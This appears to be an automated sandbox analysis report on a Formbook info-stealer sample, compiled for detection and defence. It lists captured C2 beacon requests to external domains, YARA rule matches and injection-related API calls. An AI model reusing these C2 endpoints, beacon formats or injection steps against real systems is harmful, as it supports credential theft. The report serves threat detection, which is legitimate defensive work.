Source: global traffic	HTTP traffic detected: GET /us94/?FV9l7b=dEK1UcEseC60ArM7bnAGctGEpZul5aHqilxPZgyrfd7+4uauQhfO1u/GuBaUBJFU+KOU&BbW=QzuhmF0pKL HTTP/1.1Host: www.nazadypro.shopConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /us94/?FV9l7b=S5srMiwBCDtV4rjo3jAT9rEjkkSDttoSOLAmgXzTQBVP9tcOlEr2qFRjTuqDw5Sxe1FF&BbW=QzuhmF0pKL HTTP/1.1Host: www.soccercitycupsc.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /us94/?FV9l7b=gRE/KZOmUIl0E9O5tIrQ1aSnWhjtkyGjsCPW33OGocf8yDxoSBdOJbLmmBtR+4NwNN+r&BbW=QzuhmF0pKL HTTP/1.1Host: www.69v39.topConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.2FcJgghyXg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.2FcJgghyXg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.2FcJgghyXg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.2FcJgghyXg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.2FcJgghyXg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.2FcJgghyXg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.2FcJgghyXg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.2FcJgghyXg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.2509035504.00000000088AF000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
Source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: 2FcJgghyXg.exe PID: 7656, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: 2FcJgghyXg.exe PID: 7700, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: msdt.exe PID: 7736, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

.NET source code contains very large strings

Source: 2FcJgghyXg.exe, flogin.cs

Long String: Length: 230399

Source: 2FcJgghyXg.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.2FcJgghyXg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.2FcJgghyXg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.2FcJgghyXg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.2FcJgghyXg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.2FcJgghyXg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.2FcJgghyXg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.2509035504.00000000088AF000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
Source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: 2FcJgghyXg.exe PID: 7656, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: 2FcJgghyXg.exe PID: 7700, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: msdt.exe PID: 7736, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 1_2_0105D57C	1_2_0105D57C
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 1_2_08506158	1_2_08506158
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_00401030	2_2_00401030
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041E111	2_2_0041E111
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041E1A2	2_2_0041E1A2
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_00401209	2_2_00401209
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041E381	2_2_0041E381
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041E517	2_2_0041E517
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_00402D87	2_2_00402D87
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_00402D90	2_2_00402D90
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041D593	2_2_0041D593
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_00409E4D	2_2_00409E4D
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_00409E50	2_2_00409E50
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041DEE3	2_2_0041DEE3
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_00402FB0	2_2_00402FB0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185E1B6	2_2_0185E1B6
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BB100	2_2_017BB100
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01862106	2_2_01862106
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018700A3	2_2_018700A3
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0186F0FF	2_2_0186F0FF
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0186A012	2_2_0186A012
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A00A0	2_2_017A00A0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017F734A	2_2_017F734A
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BE340	2_2_017BE340
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A13C0	2_2_017A13C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0184D280	2_2_0184D280
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017CB220	2_2_017CB220
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179D2EC	2_2_0179D2EC
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01867231	2_2_01867231
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0187024E	2_2_0187024E
Source: C:\Windows\explorer.exe	Code function: 3_2_08897232	3_2_08897232
Source: C:\Windows\explorer.exe	Code function: 3_2_0888D082	3_2_0888D082
Source: C:\Windows\explorer.exe	Code function: 3_2_08896036	3_2_08896036
Source: C:\Windows\explorer.exe	Code function: 3_2_0889A5CD	3_2_0889A5CD
Source: C:\Windows\explorer.exe	Code function: 3_2_0888ED02	3_2_0888ED02
Source: C:\Windows\explorer.exe	Code function: 3_2_08894912	3_2_08894912
Source: C:\Windows\explorer.exe	Code function: 3_2_08891B30	3_2_08891B30
Source: C:\Windows\explorer.exe	Code function: 3_2_08891B32	3_2_08891B32
Source: C:\Windows\explorer.exe	Code function: 3_2_0E709232	3_2_0E709232
Source: C:\Windows\explorer.exe	Code function: 3_2_0E703B30	3_2_0E703B30
Source: C:\Windows\explorer.exe	Code function: 3_2_0E703B32	3_2_0E703B32
Source: C:\Windows\explorer.exe	Code function: 3_2_0E708036	3_2_0E708036
Source: C:\Windows\explorer.exe	Code function: 3_2_0E6FF082	3_2_0E6FF082
Source: C:\Windows\explorer.exe	Code function: 3_2_0E706912	3_2_0E706912
Source: C:\Windows\explorer.exe	Code function: 3_2_0E700D02	3_2_0E700D02
Source: C:\Windows\explorer.exe	Code function: 3_2_0E70C5CD	3_2_0E70C5CD

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Code function: String function: 0179B910 appears 46 times

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041A350 NtCreateFile,	2_2_0041A350
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041A400 NtReadFile,	2_2_0041A400
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041A480 NtClose,	2_2_0041A480
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041A530 NtAllocateVirtualMemory,	2_2_0041A530
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041A3FB NtReadFile,	2_2_0041A3FB
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0041A3A2 NtReadFile,	2_2_0041A3A2
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2B20 NtClose,LdrInitializeThunk,	2_2_017E2B20
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2BB0 NtAllocateVirtualMemory,LdrInitializeThunk,	2_2_017E2BB0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2A90 NtReadFile,LdrInitializeThunk,	2_2_017E2A90
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2DB0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_017E2DB0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2D90 NtDelayExecution,LdrInitializeThunk,	2_2_017E2D90
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2C60 NtQueryInformationToken,LdrInitializeThunk,	2_2_017E2C60
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2C30 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_017E2C30
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2CF0 NtUnmapViewOfSection,LdrInitializeThunk,	2_2_017E2CF0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2CD0 NtMapViewOfSection,LdrInitializeThunk,	2_2_017E2CD0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2F70 NtResumeThread,LdrInitializeThunk,	2_2_017E2F70
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2F50 NtProtectVirtualMemory,LdrInitializeThunk,	2_2_017E2F50
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2FA0 NtCreateFile,LdrInitializeThunk,	2_2_017E2FA0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2E60 NtAdjustPrivilegesToken,LdrInitializeThunk,	2_2_017E2E60
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2E40 NtReadVirtualMemory,LdrInitializeThunk,	2_2_017E2E40
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E2EF0 NtCreateSection,LdrInitializeThunk,	2_2_017E2EF0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E3050 NtSetValueKey,	2_2_017E3050
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E4320 NtSetContextThread,	2_2_017E4320
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E3590 NtCreateMutant,	2_2_017E3590
Source: C:\Windows\explorer.exe	Code function: 3_2_08898E12 NtProtectVirtualMemory,	3_2_08898E12
Source: C:\Windows\explorer.exe	Code function: 3_2_08897232 NtCreateFile,	3_2_08897232
Source: C:\Windows\explorer.exe	Code function: 3_2_08898E0A NtProtectVirtualMemory,	3_2_08898E0A

Source: 2FcJgghyXg.exe, 00000001.00000002.1252377746.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEvor.dll0 vs 2FcJgghyXg.exe
Source: 2FcJgghyXg.exe, 00000001.00000002.1258937679.00000000053C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameEvor.dll0 vs 2FcJgghyXg.exe
Source: 2FcJgghyXg.exe, 00000001.00000002.1251054886.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 2FcJgghyXg.exe
Source: 2FcJgghyXg.exe, 00000001.00000002.1260071587.0000000008480000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs 2FcJgghyXg.exe
Source: 2FcJgghyXg.exe, 00000001.00000002.1253892439.000000000401F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs 2FcJgghyXg.exe
Source: 2FcJgghyXg.exe, 00000001.00000000.1232031634.00000000006F6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamexYQq.exeB vs 2FcJgghyXg.exe
Source: 2FcJgghyXg.exe, 00000002.00000002.1322759812.000000000189D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 2FcJgghyXg.exe
Source: 2FcJgghyXg.exe, 00000002.00000002.1324284737.00000000033A5000.00000040.10000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamemsdt.exej% vs 2FcJgghyXg.exe
Source: 2FcJgghyXg.exe	Binary or memory string: OriginalFilenamexYQq.exeB vs 2FcJgghyXg.exe

Source: 2FcJgghyXg.exe

ReversingLabs: Detection: 39%

Source: 2FcJgghyXg.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

